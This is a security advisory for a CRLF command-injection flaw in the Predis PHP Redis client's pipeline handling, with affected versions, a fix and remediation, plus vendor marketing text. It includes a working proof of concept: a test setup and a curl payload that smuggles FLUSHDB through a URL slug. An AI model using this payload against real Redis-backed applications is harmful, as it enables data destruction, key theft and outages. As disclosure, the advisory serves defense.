Summary
Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections
An improper CRLF neutralization flaw in Predis' pipeline handling on
aggregate connections lets an unauthenticated attacker who can influence any
pipelined argument, a value or a key, e.g. a URL slug used as a cache key ,
smuggle arbitrary Redis commands into the connection.
- On cluster connections (
clusteroption, incl. client-side sharding) this
is remote command injection: shard-wideFLUSHDB, targetedDEL/SET,
same-slot key theft viaGET, cache poisoning, and possible node/cluster
outage. - On replication connections (
replicationoption) it is a reliable,
repeatable denial of service (uncaught fatal error) triggered by any value
containing\r\n.
Details
When a pipeline is executed over an aggregate connection,AbstractAggregateConnection::write() re-parses the already-serialized pipeline
buffer with explode("\r\n") instead of honoring RESP length prefixes:
- https://github.com/predis/predis/blob/v3.2.0/src/Connection/AbstractAggregateConnection.php#L78-L94
- splits the buffer on
\r\n, ignoring$<len>bulk lengths, - rebuilds each chunk via
Command::deserializeCommand()
(https://github.com/predis/predis/blob/v3.2.0/src/Command/Command.php#L157)
to decide routing, - writes each chunk to the connection chosen for that (fake) command.
- splits the buffer on
RESP is length-prefixed, so the Redis server parses the original stream
correctly, but this second, client-side parser treats attacker-controlled\r\n sequences as command boundaries. An argument such as:
PAD\r\n*1\r\n$7\r\nFLUSHDB
is a single data value to the server, but a complete, valid FLUSHDB command to
the re-parser. The consequence depends on the connection type:
- Replication: a pipeline forces
switchToMaster(), so all chunks go to the
master and the byte stream stays intact, but the misaligned chunk makesdeserializeCommand()throw an uncaughtUnexpectedValueException: Invalid serializing format. Any value containing\r\n(binary serializers such as
igbinary/msgpack, or multi-line text) reliably crashes the request. This is
the crash tracked in #1574, an unauthenticated, repeatable DoS. - Cluster: chunks are routed to different nodes by slot, so the byte stream
is split across sockets. The smuggled command arrives on a node whose stream
is clean and is executed, though the application never sent it:FLUSHDBwipes an entire shard. It has no key but is routable becauseClusterStrategy::getFakeKey()hardcodes the fake key'key'
(https://github.com/predis/predis/blob/v3.2.0/src/Cluster/ClusterStrategy.php#L56
and #L243-L246), so the smuggled command always lands on the node servingslot('key').INFO(same fake-key routing) leaks server configuration via orphaned
responses;CLUSTER FLUSHSLOTScan take a node down.- Same-slot
GET/SET/DELallow key theft (the reply is attributed to the
application's own later command on that slot), cache poisoning and targeted
data destruction; junk-key floods can exhaust node memory (OOM / mass
eviction of legitimate keys). - Lua execution is not reachable:
EVALcannot be reconstructed (the
class isEVAL_due to the PHP reserved word),EVAL_ROfails theKeys
trait validation, andEVALSHArequires a pre-loaded script. This is
accidental, not a designed mitigation, and does not reduce severity ,FLUSHDB/DEL/SETalone already permit full cache wipes and data
destruction.
Affected versions. Introduced in v3.0.0 by PR #1438 ("Improved pipeline
abstractions"). Affected range: 3.0.0-RC1 through 3.2.0 (v3.0.0-alpha1 is not
affected, the vulnerable code was added after it). v1.x and v2.x are not
affected; their pipelines write per-command via writeRequest() and the
vulnerable code path does not exist.
Only pipeline() reaches the vulnerable sink; transaction() / MULTI paths do
not.
Proof of concept
Two plain redis:8 containers acting as two shards (PredisCluster shards
client-side, so Redis itself need not be in cluster mode); a PHP app on a
vulnerable Predis checkout (e.g. v3.2.0).
docker-compose.yml:
services:
redis1:
image: redis:8
ports: ["6391:6379"]
redis2:
image: redis:8
ports: ["6392:6379"]
index.php (a normal-looking app, slug from URL → cache lookup):
<?php
require __DIR__ . '/vendor/autoload.php';
$nodes = ['tcp://127.0.0.1:6391', 'tcp://127.0.0.1:6392'];
$client = new Predis\Client($nodes, ['cluster' => 'predis',
'parameters' => ['read_write_timeout' => 2]]);
if (isset($_GET['seed'])) {
for ($i = 1; $i <= 100; $i++) { $client->set("user:$i", "data$i"); }
exit('seeded');
}
$slug = $_GET['slug'] ?? '';
try {
[$doc] = $client->pipeline()->get("slug:$slug")->execute();
echo $doc ?: 'no such slug';
} catch (Throwable $e) {
http_response_code(500);
echo get_class($e);
}
Run:
composer require predis/predis:3.2.0
docker compose up -d
php -S 127.0.0.1:8080 -t .
curl 'http://127.0.0.1:8080/?seed' # 100 keys
Attack (smuggled FLUSHDB inside the slug):
curl 'http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB'
The slug's first line must hash to a different shard than the fake key 'key'
(otherwise the truncated bytes swallow the injection and the request simply
404s). With two shards this is ~50% per attempt, retry PAD0, PAD1, … until
the request returns 500. More shards make the attack easier: the per-attempt
hit probability is (N-1)/N, so on production clusters with many shards the
first request succeeds with near-certainty.
Verified result: dbsize across both shards drops 100 → 62; one shard was wiped
by a FLUSHDB the application never issued (it only ever ran GET/SET on
normal keys). The fix was confirmed A/B: the same PoC wipes a shard on the parent
of commit 053cb4b6 and fails on 053cb4b6.
Impact
CWE-93 (Improper Neutralization of CRLF Sequences) leading to Redis command
injection / protocol smuggling and denial of service. Any application on
predis/predis 3.0.0-RC1 – 3.2.0 that calls pipeline() on a cluster or
replication connection and includes attacker-influenced data (values or
keys, e.g. cache keys built from URL slugs) in the pipelined commands is
affected. This is a common pattern for cache lookups, sessions and queued
writes.
- Cluster: unauthenticated remote command injection, shard-wide cache wipe
(FLUSHDB), targeted destruction (DEL), cache poisoning (SET), same-slot
key theft (GET), node memory exhaustion (key flood), possible cluster outage
(CLUSTER FLUSHSLOTS). - Replication: reliable unauthenticated DoS on every affected request.
CVE-2026-84372 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.3.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Upgrade to predis/predis 3.3.0 or later. The fix (PR #1586, commit053cb4b6) makes pipelines on aggregate connections write each command using the
real Command object, eliminating the second, byte-splitting parser.
Users who cannot upgrade immediately should avoid calling pipeline() on
aggregate (cluster / replication) connections with any attacker-influenced keys
or values; there is no reliable in-application way to neutralize the embedded\r\n while the second parser remains in the code path.
Frequently Asked Questions
- What is CVE-2026-84372? CVE-2026-84372 is a critical-severity security vulnerability in predis/predis (composer), affecting versions >= 3.0.0-RC1, < 3.3.0. It is fixed in 3.3.0.
- How severe is CVE-2026-84372? CVE-2026-84372 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of predis/predis are affected by CVE-2026-84372? predis/predis (composer) versions >= 3.0.0-RC1, < 3.3.0 is affected.
- Is there a fix for CVE-2026-84372? Yes. CVE-2026-84372 is fixed in 3.3.0. Upgrade to this version or later.
- Is CVE-2026-84372 exploitable, and should I be worried? Whether CVE-2026-84372 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-84372 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-84372? Upgrade
predis/predisto 3.3.0 or later.